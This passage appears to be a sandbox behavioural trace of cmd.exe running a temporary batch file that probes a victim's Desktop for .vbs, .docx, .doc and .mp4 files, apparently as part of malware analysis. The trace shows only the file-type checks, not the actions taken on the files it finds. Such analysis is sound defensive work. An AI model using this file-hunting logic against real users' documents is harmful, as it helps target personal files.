_get_osfhandle (_FileHandle=1) returned 0x7 [0039.675] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.675] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.675] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.675] SetConsoleInputExeNameW () returned 0x1 [0039.675] GetConsoleOutputCP () returned 0x1b5 [0039.675] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.675] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.676] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.676] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.676] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.676] SetFilePointer (in: hFile=0x74, lDistanceToMove=212, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.676] GetProcessHeap () returned 0x4e0000 [0039.676] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.677] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.677] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd4 [0039.677] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.677] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0039.677] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0039.677] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.677] GetFileType (hFile=0x74) returned 0x1 [0039.677] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.677] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0039.677] GetProcessHeap () returned 0x4e0000 [0039.677] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.677] GetProcessHeap () returned 0x4e0000 [0039.677] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.677] _tell (_FileHandle=3) returned 214 [0039.678] _close (_FileHandle=3) returned 0 [0039.678] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.678] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.678] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.678] SetFilePointer (in: hFile=0x74, lDistanceToMove=214, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0039.678] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.678] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0039.678] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.678] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0039.678] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.docx goto docx\r\n") returned 27 [0039.678] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.678] GetFileType (hFile=0x74) returned 0x1 [0039.678] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.679] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0039.679] GetProcessHeap () returned 0x4e0000 [0039.679] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.679] GetProcessHeap () returned 0x4e0000 [0039.679] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.679] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.679] GetProcessHeap () returned 0x4e0000 [0039.679] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.679] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.679] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.679] GetProcessHeap () returned 0x4e0000 [0039.679] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.679] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.679] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.679] GetProcessHeap () returned 0x4e0000 [0039.679] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.679] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.679] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.679] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f58c0 [0039.679] GetProcessHeap () returned 0x4e0000 [0039.679] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x24) returned 0x4f6080 [0039.679] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f6080, Size=0x18) returned 0x4f58e0 [0039.679] GetProcessHeap () returned 0x4e0000 [0039.680] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x18 [0039.680] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.680] GetProcessHeap () returned 0x4e0000 [0039.680] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.680] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f5920 [0039.680] _tell (_FileHandle=3) returned 241 [0039.681] _close (_FileHandle=3) returned 0 [0039.681] GetFullPathNameW (in: lpFileName="*.docx", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", lpFilePart=0x41eea8*="*.docx") returned 0x2c [0039.681] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.681] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.docx", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.681] GetLastError () returned 0x2 [0039.681] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.681] GetLastError () returned 0x6 [0039.681] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.681] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.681] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.681] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.682] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.682] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.682] SetConsoleInputExeNameW () returned 0x1 [0039.682] GetConsoleOutputCP () returned 0x1b5 [0039.682] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.682] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.682] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.683] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.683] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.683] SetFilePointer (in: hFile=0x74, lDistanceToMove=241, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.683] GetProcessHeap () returned 0x4e0000 [0039.683] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.683] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.684] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf1 [0039.684] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.684] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0039.684] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.docx goto docx\r\n") returned 2 [0039.684] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.684] GetFileType (hFile=0x74) returned 0x1 [0039.684] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.684] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0039.684] GetProcessHeap () returned 0x4e0000 [0039.684] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.684] GetProcessHeap () returned 0x4e0000 [0039.684] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.684] _tell (_FileHandle=3) returned 243 [0039.684] _close (_FileHandle=3) returned 0 [0039.684] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.684] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.685] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.685] SetFilePointer (in: hFile=0x74, lDistanceToMove=243, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0039.685] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.685] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf3 [0039.685] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.685] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0039.685] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.doc goto doc\r\n\r\n") returned 25 [0039.685] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.685] GetFileType (hFile=0x74) returned 0x1 [0039.685] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.685] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0039.685] GetProcessHeap () returned 0x4e0000 [0039.685] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.685] GetProcessHeap () returned 0x4e0000 [0039.685] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.685] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.685] GetProcessHeap () returned 0x4e0000 [0039.685] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.686] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.686] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.686] GetProcessHeap () returned 0x4e0000 [0039.686] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.686] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.686] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.686] GetProcessHeap () returned 0x4e0000 [0039.686] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.686] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.686] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.686] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.686] GetProcessHeap () returned 0x4e0000 [0039.686] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.686] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.686] GetProcessHeap () returned 0x4e0000 [0039.686] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.686] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.686] GetProcessHeap () returned 0x4e0000 [0039.686] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.686] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.687] _tell (_FileHandle=3) returned 268 [0039.687] _close (_FileHandle=3) returned 0 [0039.687] GetFullPathNameW (in: lpFileName="*.doc", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", lpFilePart=0x41eea8*="*.doc") returned 0x2b [0039.687] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.687] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.doc", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.688] GetLastError () returned 0x2 [0039.688] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.688] GetLastError () returned 0x6 [0039.688] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.688] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.688] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.688] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.688] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.688] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.689] SetConsoleInputExeNameW () returned 0x1 [0039.689] GetConsoleOutputCP () returned 0x1b5 [0039.689] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.689] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.689] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.689] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.689] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.689] SetFilePointer (in: hFile=0x74, lDistanceToMove=268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0039.689] GetProcessHeap () returned 0x4e0000 [0039.689] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.689] GetProcessHeap () returned 0x4e0000 [0039.689] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.689] GetProcessHeap () returned 0x4e0000 [0039.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.690] GetProcessHeap () returned 0x4e0000 [0039.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.690] GetProcessHeap () returned 0x4e0000 [0039.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.690] GetProcessHeap () returned 0x4e0000 [0039.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.690] GetProcessHeap () returned 0x4e0000 [0039.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.690] GetProcessHeap () returned 0x4e0000 [0039.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.690] GetProcessHeap () returned 0x4e0000 [0039.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.690] GetProcessHeap () returned 0x4e0000 [0039.690] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.690] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.690] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c [0039.690] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.690] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0039.690] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.doc goto doc\r\n\r\n") returned 2 [0039.690] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.690] GetFileType (hFile=0x74) returned 0x1 [0039.691] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.691] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0039.691] GetProcessHeap () returned 0x4e0000 [0039.691] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.691] GetProcessHeap () returned 0x4e0000 [0039.691] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.691] _tell (_FileHandle=3) returned 270 [0039.691] _close (_FileHandle=3) returned 0 [0039.691] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.691] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.691] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.691] SetFilePointer (in: hFile=0x74, lDistanceToMove=270, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0039.691] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.691] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e [0039.692] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1fff, lpOverlapped=0x0) returned 1 [0039.692] SetFilePointer (in: hFile=0x74, lDistanceToMove=295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0039.692] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.mp4 goto mp4\r\n\r\n") returned 25 [0039.692] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.692] GetFileType (hFile=0x74) returned 0x1 [0039.692] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.692] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x127 [0039.692] GetProcessHeap () returned 0x4e0000 [0039.692] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.692] GetProcessHeap () returned 0x4e0000 [0039.692] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.814] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.814] GetProcessHeap () returned 0x4e0000 [0039.814] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.814] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.814] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.814] GetProcessHeap () returned 0x4e0000 [0039.814] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.814] _wcsicmp 